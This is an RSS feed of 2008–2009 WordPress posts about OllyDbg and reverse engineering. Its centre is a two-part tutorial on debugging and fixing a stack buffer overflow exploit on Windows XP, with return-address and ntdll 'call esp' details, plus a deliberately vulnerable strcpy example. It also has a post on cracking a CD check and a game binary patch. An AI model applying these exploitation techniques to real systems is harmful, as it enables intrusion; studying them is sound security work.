<?xml version="1.0" encoding="UTF-8"?><!-- generator="wordpress.com" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>ollydbg &amp;laquo; WordPress.com Tag Feed</title>
	<link>http://en.wordpress.com/tag/ollydbg/</link>
	<description>Feed of posts on WordPress.com tagged "ollydbg"</description>
	<pubDate>Wed, 23 Dec 2009 23:30:02 +0000</pubDate>

	<generator>http://en.wordpress.com/tags/</generator>
	<language>en</language>

<item>
<title><![CDATA[The process of a successful stack based BOF-Part 2]]></title>
<link>http://diablohorn.wordpress.com/2009/03/08/the-process-of-a-successful-stack-based-bof-part-2/</link>
<pubDate>Sun, 08 Mar 2009 00:30:58 +0000</pubDate>
<dc:creator>diablohorn</dc:creator>
<guid>http://diablohorn.wordpress.com/2009/03/08/the-process-of-a-successful-stack-based-bof-part-2/</guid>
<description><![CDATA[The previous post explained how to setup the environment so that we would be able to actually debug ]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>The previous <a href="http://diablohorn.wordpress.com/2009/03/07/the-process-of-a-successful-stack-based-bof-part-1/" target="_blank">post</a> explained how to setup the environment so that we would be able to actually debug the crashing process. In this post I will try to explain the process of analyzing it and building a working exploit. So the first step is to identify why it crashed in the first place.</p>
<p><!--more--></p>
<p>Let&#8217;s fire up the exploit again and it should land us right into the olly screen with the INT 3 we hexedited in. We already know what to do with that(replace it with PUSH ESI), let&#8217;s continue with the stack and the instruction. First of all let&#8217;s document them a little bit(only the parts I found interesting are documented). The comments are on the following line due to space issues.</p>
<blockquote>
<pre>00401030    81EC 58020000   SUB ESP,258
; substract size needed for variables
00401036    A0 E0684000     MOV AL,BYTE PTR DS:[4068E0]
0040103B    56              PUSH ESI
0040103C    57              PUSH EDI
0040103D    884424 08       MOV BYTE PTR SS:[ESP+8],AL
00401041    B9 95000000     MOV ECX,95
00401046    33C0            XOR EAX,EAX
00401048    8D7C24 09       LEA EDI,DWORD PTR SS:[ESP+9]
0040104C    F3:AB           REP STOS DWORD PTR ES:[EDI]
; zero the stack
0040104E    66:AB           STOS WORD PTR ES:[EDI]
00401050    8D4C24 08       LEA ECX,DWORD PTR SS:[ESP+8]
00401054    51              PUSH ECX
00401055    68 4C604000     PUSH vuln.0040604C ; ASCII "%.8X"
0040105A    AA              STOS BYTE PTR ES:[EDI]
0040105B    E8 40000000     CALL vuln.004010A0
; inline printf
00401060    8BBC24 6C020000 MOV EDI,DWORD PTR SS:[ESP+26C]
; address of our payload
00401067    83C9 FF         OR ECX,FFFFFFFF
0040106A    33C0            XOR EAX,EAX
0040106C    83C4 08         ADD ESP,8
0040106F    F2:AE           REPNE SCAS BYTE PTR ES:[EDI]
00401071    F7D1            NOT ECX 
; ECX contains size of our payload
00401073    2BF9            SUB EDI,ECX
00401075    8D5424 08       LEA EDX,DWORD PTR SS:[ESP+8]
00401079    8BC1            MOV EAX,ECX
0040107B    8BF7            MOV ESI,EDI
0040107D    8BFA            MOV EDI,EDX
0040107F    C1E9 02         SHR ECX,2
00401082    F3:A5           REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
;copy payload to stack address @ EDI
00401084    8BC8            MOV ECX,EAX
00401086    83E1 03         AND ECX,3
00401089    33C0            XOR EAX,EAX
0040108B    F3:A4           REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
0040108D    5F              POP EDI
0040108E    5E              POP ESI
0040108F    81C4 58020000   ADD ESP,258
; set ESP to the RET address
00401095    C3              RETN
; jump to the RET address</pre>
</blockquote>
<p>What can we see/learn from the above statements? That everything before the printf is irrelevant and almost everything after that is relevant.  So what are the next steps? We got the slightly documented asm, we got a general idea of what the function does(also cause we got the source of it) and we know our goal&#8230;excute the shellcode.</p>
<p>We will start by taking a look at the stack just before the function starts to copy our payload onto it, cause it&#8217;s a huge amount of space on the stack(600bytes see the SUB esp,256) I&#8217;ll just show the stack towards the end of it.</p>
<p style="text-align:center;"><a href="http://diablohorn.files.wordpress.com/2009/03/bof5.jpg" target="_blank"><img class="aligncenter size-medium wp-image-202" title="bof5" src="http://diablohorn.wordpress.com/files/2009/03/bof5.jpg?w=300" alt="bof5" width="300" height="199" /></a></p>
<p>w0000t seems like we are starting to understand this&#8230;like you can see inside the red squares&#8230;the RET address on the stack matches the instruction address AFTER the call to our vulnerable function. So indeed like it&#8217;s explained on the forum and in several papers&#8230;when you fill up the buffer to much you will overwrite any saves RET addresses on the stack. Hmmm so when we first got our error and the exploit didn&#8217;t work it must have ment that the NOPS(0&#215;90) overwrote the RET address, let&#8217;s verify that. The next screenshot shows the stack when it&#8217;s beeing filled and just before overwriting the RET address.</p>
<p style="text-align:center;"><a href="http://diablohorn.files.wordpress.com/2009/03/bof6.jpg" target="_blank"><img class="aligncenter size-medium wp-image-204" title="bof6" src="http://diablohorn.wordpress.com/files/2009/03/bof6.jpg?w=300" alt="bof6" width="300" height="199" /></a></p>
<p>So the red bracket clearly shows that the RET address is almost overwritten. The dark red(brown w/e moves you) shows that ESI still points to a large amount(exact amount can be seen in ECX which holds the length to be written) of data yet to be written. So we can now confirm that indeed there are to many NOPS. Take a look at how the stack looks like after all data has been written.</p>
<p><a href="http://diablohorn.files.wordpress.com/2009/03/bof7.jpg"><img class="aligncenter size-medium wp-image-206" title="bof7" src="http://diablohorn.wordpress.com/files/2009/03/bof7.jpg?w=300" alt="bof7" width="300" height="199" /></a></p>
<p>The first red dot indicates where the RET address was and the second red dot indicates the end of the data that has been written. So let&#8217;s fix it that the RET address get&#8217;s overwritten correctly(in my case diminish the nops and adjust the place where the return address is written into the buffer).</p>
<p style="text-align:center;"><a href="http://diablohorn.files.wordpress.com/2009/03/bof8.jpg" target="_blank"><img class="aligncenter size-medium wp-image-209" title="bof8" src="http://diablohorn.wordpress.com/files/2009/03/bof8.jpg?w=300" alt="bof8" width="300" height="205" /></a></p>
<p>Like you can see on the above screenshot we now control the RET address correctly except that it&#8217;s horribly wrong and the application still crashes. So how do we fix this? By using a tool called <a title="findjmp or findjmp2" href="http://www.securiteam.com/tools/5LP0C1PEUY.html" target="_blank">findjmp &#124;&#124; findjmp2</a> this tool is able to search for us in the provided dll for a correct address to use. If you want to know what dll to use, just look it up in olly. Press ALT+E which should open a window displaying the currently loaded modules. KD was working with ntdll.dll so I just followed his lead(hint:try to use modules which are always loaded by the process&#8230;so that you have a more reliable exploit).</p>
<blockquote><p>findjmp.exe ntdll.dll esp</p>
<p>Scanning ntdll.dll for code useable with the esp register<br />
0&#215;7C914663      call esp<br />
0&#215;7C919DB0      push esp &#8211; ret<br />
0&#215;7C95311B      call esp</p></blockquote>
<p>I used the first address, 0&#215;7c914663. If you did it all correct your olly should now look like this:</p>
<p style="text-align:center;"><a href="http://diablohorn.files.wordpress.com/2009/03/bof9.jpg" target="_blank"><img class="aligncenter size-medium wp-image-212" title="bof9" src="http://diablohorn.wordpress.com/files/2009/03/bof9.jpg?w=300" alt="bof9" width="300" height="199" /></a></p>
<p>Like you prolly already noticed&#8230;we are inside NTDLL.DLL now at the CALL ESP instruction that we looked up earlier using findjmp(don&#8217;t forget to use F7 in olly instead of F8 when it hits the function RET instruction). Now press F7(step into) again and it should land you right inside the mini shellcode.</p>
<p style="text-align:center;"><a href="http://diablohorn.files.wordpress.com/2009/03/bof10.jpg" target="_blank"><img class="aligncenter size-medium wp-image-213" title="bof10" src="http://diablohorn.wordpress.com/files/2009/03/bof10.jpg?w=300" alt="bof10" width="300" height="199" /></a></p>
<p>If you execute the mini shellcode, you will notice that it still will not land you inside the main NOP sled, instead it will crash. Take a look at the following screenshot to understand why.</p>
<p style="text-align:center;"><a href="http://diablohorn.files.wordpress.com/2009/03/bof111.jpg" target="_blank"><img class="aligncenter size-medium wp-image-215" title="bof111" src="http://diablohorn.wordpress.com/files/2009/03/bof111.jpg?w=300" alt="bof111" width="300" height="199" /></a></p>
<p>The red arrows show the current situation, the green arrows show how it should be. Like you can see on XP SP3 it&#8217;s not ECX which points to the main NOP sled but it&#8217;s EDX. Let&#8217;s do that press the spacebar in olly and change JMP ECX to JMP EDX, make sure to write down the changed opcode cause you need to adjust that one in the source. Now if you press F7 on the changed jmp it will land you right into the main NOP sled!! The opcodes inside the red circle math the opcodes of the shellcode in the source.</p>
<p style="text-align:center;"><a href="http://diablohorn.files.wordpress.com/2009/03/bof121.jpg" target="_blank"><img class="aligncenter size-medium wp-image-216" title="bof121" src="http://diablohorn.wordpress.com/files/2009/03/bof121.jpg?w=300" alt="bof121" width="300" height="199" /></a></p>
<p>Voila there you go a fixed exploit. Like the original author says in his forum post the shellcode won&#8217;t prolly work(certainly didn&#8217;t in my case) because some hardcoded addresses need to be fixed. This is a minor issues since now we understand how to debug the process we want to exploit. You can run into some difficulties when replacing shellcodes because of restricted characters for example.</p>
<p>Hope this last part answered a lot of questions and made the process of writing a exploit a little bit more understandable. In the future I might write about the process of selecting the correct shellcode and how to avoid bad chars. For the moment beeing this is all folks.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The process of a successful stack based BOF-Part 1]]></title>
<link>http://diablohorn.wordpress.com/2009/03/07/the-process-of-a-successful-stack-based-bof-part-1/</link>
<pubDate>Sat, 07 Mar 2009 01:28:39 +0000</pubDate>
<dc:creator>diablohorn</dc:creator>
<guid>http://diablohorn.wordpress.com/2009/03/07/the-process-of-a-successful-stack-based-bof-part-1/</guid>
<description><![CDATA[n0limit his legend preceeded him but the real deal is way better then the legend! No, really this du]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>n0limit his legend preceeded him but the real deal is way better then the legend! No, really this dude really helped me out in the process to making it work. When doing BOF bugs there is a HUGE difference between reading about it and putting it to practice. Another big thanks go out to KD he got me interested in this stuff again. I mean with all the web exploiting going on these days&#8230;you&#8217;d almost forget about the giant of all times. The infamous <a title="Buffer Overflow" href="http://en.wikipedia.org/wiki/Buffer_overflow" target="_blank">Buffer Overflow</a>!</p>
<p><!--more-->So what is this post all about?  This post is about me getting involved with a BOF to help a friend out. I was like oh BOF right I&#8217;ve read tons of papers about those and I&#8217;ve practiced a bit so it shouldn&#8217;t be that hard, or should it? When putting all the read papers into practice it turned out to be a bit harder then I had initially antipicated. So here is the BOF I&#8217;m talking about:</p>
<ul>
<li><a href="http://www.go4expert.com/forums/showthread.php?t=11839#firstm" target="_blank">http://www.go4expert.com/forums/showthread.php?t=11839#firstm </a></li>
</ul>
<p>Before you carry on reading I recommend that you read a few of the following:</p>
<ul>
<li>http://insecure.org/stf/smashstack.html</li>
<li>The  Shellcoders handbook</li>
<li>http://www.securiteam.com/securityreviews/5OP0B006UQ.html</li>
</ul>
<p>It&#8217;s all based on &#8220;vuln.c&#8221; and &#8220;exploit2.c&#8221;. I compiled both using visual studio 6 and to my big surprise they didn&#8217;t work on my XP SP3 <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> . The truth be told they are not very difficult. So what happend when I run it?</p>
<p style="text-align:center;"><a href="http://diablohorn.files.wordpress.com/2009/03/bof12.jpg" target="_blank"><img class="aligncenter size-medium wp-image-175" title="bof12" src="http://diablohorn.wordpress.com/files/2009/03/bof12.jpg?w=300" alt="bof12" width="300" height="192" /></a></p>
<p>This was also my first experience that theoretical knowledge doesn&#8217;t cut it in the field&#8230;I mean the pretty book layouts with debugged data was not beeing shown on my screen. So what now? My first reaction was like&#8230;I need to step through the process that&#8217;s crashed to be able to pin-point wth is going on. I then remembered one of korupt&#8217;s excellent posts:</p>
<ul>
<li><a href="http://korupt.co.uk/?p=115" target="_blank">http://korupt.co.uk/?p=115</a></li>
</ul>
<p>There he explains a malware trick to debug child processes. Well that is exactly what we need in this case, since our exploit code just creates a new process(actually calls the application with arguments). So what we need is to break on the new application as soon as it gets called. Here comes the good old hexeditor&#8230;I prefer hexediting in a old school style editor above olly just for the fun of it. So I used the <a title="HT Editor" href="http://hte.sourceforge.net/" target="_blank">HT Editor</a>. I could have put a INT 3(0xCC) on PUSH EBP , but that would have been a tedious job while debugging the process&#8230;cause it takes a lot of instructions to get to the vulnerable part of the program. Instead I choose the old cracker&#8217;s approach find the code by strings. In olly perform a &#8220;Search For -&#62; All Referenced Text Strings&#8221; this should give you a strings list including the string &#8220;Supply an argument, dude&#8221;. It lands you in a function and if you look carefully in olly you see that&#8217;s beeing referenced from somewhere else.</p>
<p style="text-align:center;"><a href="http://diablohorn.files.wordpress.com/2009/03/bof2.jpg" target="_blank"><img class="aligncenter size-medium wp-image-179" title="bof2" src="http://diablohorn.wordpress.com/files/2009/03/bof2.jpg?w=300" alt="bof2" width="300" height="197" /></a></p>
<p>In the bottom left you see from where it&#8217;s beeing referenced(don&#8217;t forget I moved up with the cursos until I hit the asm line &#8220;CMP DWORD PTR SS:[ESP+4],2&#8243;) if you don&#8217;t do that and stay on the one with the string reference you will not see from where it&#8217;s beeing referenced. You can now choose you go further back or just take a second look at the asm, you will see that it compares something with 2. So if you remember the C source, this line is actually checking if there are enough arguments passed to the program. So after this the call to the vulnerable function should happen, which it does cause you can clearly see the call in the disassembled output(hint: it&#8217;s the second call, just analyze the jmp and you&#8217;ll know why). So I followed that call and decided to put my breakpoint on the PUSH ESI. So fire up HTE go the correct offset and change the opcode to 0xcc(in the screenshot the corresponding opcode is marked red).</p>
<p style="text-align:center;"><a href="http://diablohorn.files.wordpress.com/2009/03/bof3.jpg" target="_blank"><img class="aligncenter size-full wp-image-180" title="bof3" src="http://diablohorn.wordpress.com/files/2009/03/bof3.jpg" alt="bof3" width="450" height="227" /></a></p>
<p>So after you have saved your changes , you can run the exploit again (and if you have configured olly as Just in Time Debugging) which should pop-up olly right at the vulnerable function. STOP before you just press F7/F8/F9 remember that you have to put back the original instruction, in this case the PUSH ESI. So press space bar and do it.</p>
<p style="text-align:center;"><a href="http://diablohorn.files.wordpress.com/2009/03/bof4.jpg" target="_blank"><img class="aligncenter size-medium wp-image-183" title="bof4" src="http://diablohorn.wordpress.com/files/2009/03/bof4.jpg?w=300" alt="bof4" width="300" height="197" /></a></p>
<p>Now we can happily press F7/F8/F9 and observe the stack and the overflow string to determine exactly why the hell it doesn&#8217;t work.</p>
<p>For the moment beeing this is it, cause it&#8217;s almost 3 AM over here. Tomorrow I will blog about the second and last part, analyzing the stack and fixing the exploit so it works as it was intended. In my personal experience and opinion the process of achieving your goal is much more important then achieving it IF your goal is to understand IT. So I hope to make it easier to understand buffer overflows, by providing the opportunity to read about the process of actually building/fixing a buffer overflow.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[win7beta]]></title>
<link>http://equilibrioinestable.wordpress.com/2009/01/26/win7beta/</link>
<pubDate>Mon, 26 Jan 2009 14:10:59 +0000</pubDate>
<dc:creator>Pedro Laguna</dc:creator>
<guid>http://equilibrioinestable.wordpress.com/2009/01/26/win7beta/</guid>
<description><![CDATA[Andaba yo trasteando un poco con el Ollydbg cuando me he encontrado con esta cadena metida en algun ]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Andaba yo trasteando un poco con el Ollydbg cuando me he encontrado con esta cadena metida en algun lugar de mi memoria:<br />
<img class="aligncenter size-full wp-image-158" title="waiterc" src="http://equilibrioinestable.wordpress.com/files/2009/01/waiterc.png" alt="waiterc" width="457" height="108" /><br />
Interesante cuanto menos, a saber que sirve ese camarero&#8230; ¿Martini con vodka, mezclado, no agitado?</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Crashday: fix for "blendTimePassed &gt;= -0.001"]]></title>
<link>http://thoughtyblog.wordpress.com/2009/01/10/crashday-fix-for-blendtimepassed-0001/</link>
<pubDate>Sat, 10 Jan 2009 18:00:34 +0000</pubDate>
<dc:creator>thoughtyblog</dc:creator>
<guid>http://thoughtyblog.wordpress.com/2009/01/10/crashday-fix-for-blendtimepassed-0001/</guid>
<description><![CDATA[Last week a friend and I wanted to play Crashday. We already did so a few years ago and it worked mo]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Last week a friend and I wanted to play Crashday. We already did so a few years ago and it worked more or less fine &#8211; its a buggy game. This time I am using my current Arch Linux only setup while he has both Arch Linux and Windows installed. The first suprise was that the game was working better with wine that with Windows on my friend&#8217;s setup. Sometimes the game starts, sometimes it doesn&#8217;t. But with wine it always works.</p>
<p>Anyway, we both tried wrecking bots and it worked fine, but as we tried multiplayer, my game (his one ran fine) always crashed shortly after the game was started. To be exact after the countdown of the game.</p>
<p>The error message I got said:</p>
<blockquote><p><span style="font-size:small;">!!! Fatal error !!!<br />
Assertion failed!<br />
blendTimePassed &#62;= -0.001</span></p>
<p>(file ..\netplayers\host_remotecar.cpp, line 253)</p>
<p>Trace stack:</p></blockquote>
<p>(It doesn&#8217;t say anything after <em>Trace stack</em>, propably because they didn&#8217;t compile the game with debugging symbols)</p>
<p>My friend told me that we should be able to apply a hack on their exe in order to make the game work. So i started up my vmware&#8217;d XP and Crashday.exe in ollydbg (which doesn&#8217;t really work with wine). The error we had can be found as string two times in the binary and I started to take a closer look on the first one. In the code, it compares some value with <em>-0.001</em> and if it is below that, it jumps to an address where it shows the error dialog (and kills the game).</p>
<div id="attachment_51" class="wp-caption aligncenter" style="width: 138px"><a href="http://thoughtyblog.wordpress.com/files/2009/01/ollydbg_crashday.png"><img class="size-thumbnail wp-image-51" title="Ollydbg, fixing Crashday" src="http://thoughtyblog.wordpress.com/files/2009/01/ollydbg_crashday.png?w=128" alt="Ollydbg, fixing Crashday" width="128" height="75" /></a><p class="wp-caption-text">Ollydbg, fixing Crashday</p></div>
<p>The trick is to remove a FSUB which substracts the value that will be compared with another one. This way it will stay over -0.001 and the game continues.</p>
<p>I don&#8217;t know if this error happens only with wine, but if you follow this tutorial, you should be able to fix it.</p>
<p>Oh and please note that the addresses on the screenshot will propably differ from your one.</p>
<p>Have fun with that awesome game <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Malware Challenge]]></title>
<link>http://hackaday.com/2009/01/03/the-malware-challenge/</link>
<pubDate>Sun, 04 Jan 2009 01:00:35 +0000</pubDate>
<dc:creator>Eliot Phillips</dc:creator>
<guid>http://hackaday.com/2009/01/03/the-malware-challenge/</guid>
<description><![CDATA[Our own [Anthony Lineberry] has written up his experience participating in the 2008 Malware Challeng]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><img class="alignnone size-full wp-image-7486" title="malware" src="http://hackadaycom.wordpress.com/files/2009/01/malware.jpg" alt="malware" width="450" height="132" /></p>
<p>Our own [Anthony Lineberry] has written up <a title="The Official Flexilis Blog  &#124;  The 2008 Malware Challenge" href="http://blog.flexilis.com/2008/12/the-2008-malware-challenge/">his experience participating in the </a><a title="2008 Malware Challenge" href="http://www.malwarechallenge.info/">2008 Malware Challenge</a> as part of his work for Flexilis. The contest involved taking a piece of provided malware, doing a thorough analysis of its behavior, and reporting the results. This wasn&#8217;t just to test the chops of the researchers, but also to demonstrate to network/system administrators how they could get into malware analysis themselves.</p>
<p>[Anthony] gives a good overview of how he created his entry (a more <a href="http://blog.flexilis.com/wp-content/uploads/2008/12/malwarechallenge2008.pdf">detailed PDF is here</a>). First, he unpacked the malware using <a title="OllyDbg v1.10" href="http://www.ollydbg.de/">Ollydbg</a>. Packers are used to obfuscate the actual malware code so that it&#8217;s harder for antivirus to pick it up. After taking a good look at the assembly, he executed the code. He used <a title="Go deep." href="http://www.wireshark.org/">Wireshark</a> to monitor the network traffic and determine what URL the malware was trying to reach. He changed the hostname to point at an IRC server he controlled. Eventually he would be able to issue botnet control commands directly to the malware. We look forward to seeing what next year&#8217;s contest will bring.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Cracking a simple and old cd check]]></title>
<link>http://diablohorn.wordpress.com/2008/12/06/cracking-a-simple-and-old-cd-check/</link>
<pubDate>Sat, 06 Dec 2008 02:30:12 +0000</pubDate>
<dc:creator>diablohorn</dc:creator>
<guid>http://diablohorn.wordpress.com/2008/12/06/cracking-a-simple-and-old-cd-check/</guid>
<description><![CDATA[Here we go again, another really old paper from the old kd-team.com archives. This was one of my fir]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Here we go again, another really old paper from the old kd-team.com archives. This was one of my first real fun encounters with Reverse Engineering. I know it&#8217;s not used anymore and it&#8217;s old and it&#8217;s probably bah&#8230;but still <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  there are a lot of people who everyday start learning RE and what better way then with some nostalgy and a good laugh.</p>
<p>paper <a title="cracking a simple cd check" href="http://diablohorn.files.wordpress.com/2008/12/cracking_a_simple_cd_check_kd-team.pdf" target="_blank">here</a></p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Reversing, grasping the big picture]]></title>
<link>http://diablohorn.wordpress.com/2008/12/02/reversing-grasping-the-big-picture/</link>
<pubDate>Tue, 02 Dec 2008 00:58:30 +0000</pubDate>
<dc:creator>diablohorn</dc:creator>
<guid>http://diablohorn.wordpress.com/2008/12/02/reversing-grasping-the-big-picture/</guid>
<description><![CDATA[So no reversing section but still a reversing post. My personal opinion is that reversing is part of]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>So no reversing section but still a reversing post. My personal opinion is that reversing is part of a forensic research in some way or an other&#8230;you could state that reversing is like a very specific forensic investigator. Most people asociate reversing with copyright infringements and bypassing security measures to access forbidden goodies(game cheats for example). Reversing can also be used for legal purposes just to name a few:</p>
<ul>
<li>perform a blackbox audit on an executable</li>
<li>perform a investigation on a piece of malware</li>
<li>help develop a quick patch until the official one is released</li>
<li>learn and understand compiler optimization</li>
</ul>
<p>I love reversing, I also hate reversing. Yet I keep practicing it and trying to learn. Why ? Because it really is a beautifull way to learn new things and to relax(this depends on the person reversing of course).</p>
<p><!--more--> So why do I love it? Because of all the purposes I already named and because it&#8217;s like a tiny( or big depending on the target you are reversing) puzzle. Why do I hate it then? Because I always got lost. For some reason I have always tried to understand every single line of assembly line I saw in the debugger/disassembler. Most of you can tell right away that, that is the WRONG approach. So the other day a collegue of mine succeeded in changing my thinking and I finally don&#8217;t want to understand every single line of assembly(I still do actually but I can finally wait till it actually makes sense to do so) that scrolls down my screen.</p>
<p>So I&#8217;d like to pass this information on because it really was a eye opener for me even if I had read it a thousand times in tutorials&#8230;I kept ignoring it until it actually worked for me.</p>
<p>So what made me open my eyes?</p>
<p><strong>GIVE FUNCTIONS AND VARIABLES MEANINGFULL NAMES!</strong></p>
<p>Now that&#8217;s easy isn&#8217;t it? I felt very very very dumb for not sticking with the above sentence in past reversing assignments. Also graphical representations of the program flow are a big help. An example of a graph (created with <a title="Immunity Debugger" href="http://www.immunitysec.com/products-immdbg.shtml" target="_blank">immunity debugger</a>) is as follow:</p>
<p><a href="http://diablohorn.wordpress.com/files/2008/12/serialgengraph.jpg" target="_blank"><img class="size-medium wp-image-101" title="Function Graph" src="http://diablohorn.wordpress.com/files/2008/12/serialgengraph.jpg?w=224" alt="Function Graph" width="224" height="300" /></a>Function Graph</p>
<p>Now that&#8217;s a LOT easier then scribbling down notes on a piece of paper(or your favorite digital notes) about where the loop ends or starts. Now let&#8217;s view the difference between&#8230;not naming functions and naming functions.</p>
<p><a href="http://diablohorn.wordpress.com/files/2008/12/notnamedyet.jpg" target="_blank"><img class="size-medium wp-image-102" title="No re-naming done" src="http://diablohorn.wordpress.com/files/2008/12/notnamedyet.jpg?w=300" alt="No re-naming done" width="300" height="136" /></a>No re-naming done</p>
<p>Now with re-naming done</p>
<p><a href="http://diablohorn.wordpress.com/files/2008/12/functionnaming.jpg" target="_blank"><img class="size-medium wp-image-103" title="re-naming done" src="http://diablohorn.wordpress.com/files/2008/12/functionnaming.jpg?w=300" alt="re-naming done" width="300" height="60" /></a>re-naming done</p>
<p>Now that&#8217;s a lot easier to read isn&#8217;t it? instead of having to memorize/write all the function hex values to know if it&#8217;s the same function beeing called or a new one. When the function call are close to each other it&#8217;s easy to see, just imagine the same function beeing called from like 100 different places.</p>
<p>The part I liked most about this approach was the &#8220;drilling down&#8221; effect. You just recognize big chunks of code in the target application which you are reversing&#8230;but you do <strong>NOT</strong> start analyzing the code yet. You just try to understand what a function <strong>MIGHT</strong> do and what it&#8217;s arguments <strong>COULD</strong> be.</p>
<p>The result of this, is that in a relative short time you have a pretty clear picture off the stuff that is going on&#8230;of course you won&#8217;t have everything correct the first time. This means that you can SKIP the useless chunks of assembly code on which I usually wasted a lot of time. I mean if you are looking for a algorithm which uses loops(in general, excluding recursive functions and compiler optimalizations like loop unrolling) to let&#8217;s say generate random names. It&#8217;s a lot easier to identify it because it&#8217;s beeing called a lot from other places in the target application and because the code actually contains a loop. In a graph the loop would be pretty obvious.</p>
<p>This does NOT mean you can now skip understanding the assembly and just focus on the big picture. If you eventually want to understand a algorithm or a specifc action you WILL have to study the assembly lines, the difference this time beeing that you (hopefully) spent your time on the correct assembly lines.</p>
<p>Man I gotta love sleeping&#8230;cause I&#8217;m heading for my bed now.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Buffer overflow basics part 1]]></title>
<link>http://nickfnord.wordpress.com/2008/10/17/buffer-overflow-basics-part-1/</link>
<pubDate>Fri, 17 Oct 2008 19:01:30 +0000</pubDate>
<dc:creator>nickfnord</dc:creator>
<guid>http://nickfnord.wordpress.com/2008/10/17/buffer-overflow-basics-part-1/</guid>
<description><![CDATA[I&#8217;ve become fairly distracted over the past few weeks and never ended up finishing the previou]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>I&#8217;ve become fairly distracted over the past few weeks and never ended up finishing the previous train of blogging.  Partly due to the fact that I hit a wall when trying to make a keygen program for the program in the previous blog (by extracting the relevent assembly code) and partly due to the fact that I&#8217;ve found myself easily distracted by other things such as understanding buffer overflows of varying complexity and doing things setting up a VMware environment (still havn&#8217;t got it configured properly&#8230;), setting up a web server for web app testing etc &#8211; that one was fairly straightforward thankfully. &#8211; there&#8217;s so much to learn and to do, and most of it is far more interesting than learning about breaking protection.</p>
<p>But mostly I found this article which sort of took the wind out of me a little bit:  <a href="http://www.ethicalhacker.net/content/view/152/2/">http://www.ethicalhacker.net/content/view/152/2/</a> &#8211; absolutely brilliant &#8211; very clear and concise introduction to reversing.  It was very encouraging to see that the author took a similar approach to what I did (or the other way around) it means I&#8217;m on the right track, but his article is written with so much more background knowledge that it makes mine look pathetic <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />   So I have sort of been reluctant to post anything new really.</p>
<p>However, taking heart in the fact that I never promised this blog to be anything except me fumbling my way through a torrent of information, I now present:</p>
<h1><strong>Buffer overflow basics: </strong></h1>
<p>Below is the code for overflowme.c:  Sorry for the array intro there &#8211; it&#8217;s necessary for the moment to make the stack large enough for our shellcode &#8211; more detail at the end and in the next post.</p>
<blockquote><p><code>#include &#60;stdio.h&#62;<br />
#include &#60;string.h&#62;<br />
void copyme(char *input[])<br />
{<br />
char name[256];</code></p>
<p>strcpy(name,input);<br />
}</p>
<p>int main(int argc, char **argv)<br />
{<br />
char intro[] = &#8220;Hello and welcome to buffer overflow basics, this character array really does have a purpose, it will be explained later, in reallity it is a bit of a hack but it will be used to demonstrate something later on&#8221;;<br />
printf(&#8220;%s&#8221;,intro);<br />
copyme(argv[1]);<br />
return 0;<br />
}</p></blockquote>
<p>Buffer overflows occur when data moved into a variable on the stack continues past the bounds of the variable. For example, the function copyme in the above code declares a variable &#8220;name&#8221; as an array of char with 256 elements.  When the program runs, it will allocate 256 bytes on the stack when entering the function.   The strcpy function will then copy the input from the command line into the name variable.</p>
<p>Let&#8217;s have a quick peak at the program in ollydbg.  You can apply command line arguments to your olly session by going to Debug-&#62;Arguments.  Alternatively, you can get Perl (download and install activePerl if you don&#8217;t have it already) to do it for you, which I have found quite a bit easier seeing as we&#8217;ll be using Perl to write shellcode later on.  the following Perl script will execute Olly (change the path to olly to suit yours of course) and attach it to the overflowme executable with and pass &#8220;hello&#8221; in as a command line parameter:</p>
<blockquote><p><code>#!/usr/local/bin/perl<br />
$buffer = "Hello";<br />
exec "c:\\stuff\\tools\\odbg110\\ollydbg ./overflowme.exe \"$buffer\"";</code></p></blockquote>
<p>as you step through the program, you can see that the call to our copyme function is here:</p>
<p><code><br />
</code></p>
<blockquote><p>0040132B   &#124;.  E8 A4FFFFFF       CALL overflow.004012D4</p></blockquote>
<p>the whole function looks like this:</p>
<blockquote><p><code>004012D4   /$  55                PUSH EBP<br />
004012D5   &#124;.  89E5              MOV EBP,ESP<br />
004012D7   &#124;.  81EC 00010000     SUB ESP,100<br />
004012DD   &#124;.  57                PUSH EDI<br />
004012DE   &#124;.  FF75 08           PUSH [ARG.1]<br />
004012E1   &#124;.  8DBD 00FFFFFF     LEA EDI,[LOCAL.64]<br />
004012E7   &#124;.  57                PUSH EDI<br />
004012E8   &#124;.  E8 482E0000       CALL overflow.00404135<br />
004012ED   &#124;.  83C4 08           ADD ESP,8<br />
004012F0   &#124;.  5F                POP EDI                     ;overflow.00401330<br />
004012F1   &#124;.  C9                LEAVE<br />
004012F2   \.  C3                RETN</code></p></blockquote>
<p>If you pay close attention to the stack at this point, you&#8217;ll notice that as the function is called, the instruction address immediatly after the CALL command is pushed onto the stack. (in our case 00401330).  This is called the return address and it is what the program will use to return to the main part of the program after calling the function.</p>
<p>onto the function:</p>
